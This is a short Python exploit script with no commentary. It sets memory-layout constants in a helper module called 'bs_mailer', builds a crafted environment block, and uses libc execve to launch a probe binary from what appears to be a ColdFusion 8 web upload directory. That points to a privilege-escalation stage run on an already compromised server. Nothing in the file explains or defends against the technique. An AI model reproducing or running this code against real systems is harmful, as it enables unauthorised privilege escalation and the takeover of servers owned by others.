import bs_mailer, os
from ctypes import cdll, c_char_p, POINTER
bs_mailer.DEFAULTS_CMND = 268
bs_mailer.MATCH_ALL = 279
bs_mailer.has_tailq = False
bs_mailer.has_file = False
bs_mailer.STACK_ADDR_PAGE = 0x7fffffff1000
env = bs_mailer.create_env(0x20)
print("env count:", len(env))
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
argv = [b"epage_probe", None]
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
libc.execve(b"/opt/coldfusion8/wwwroot/userfiles/file/epage_probe", cargv, cenvp)
os._exit(0)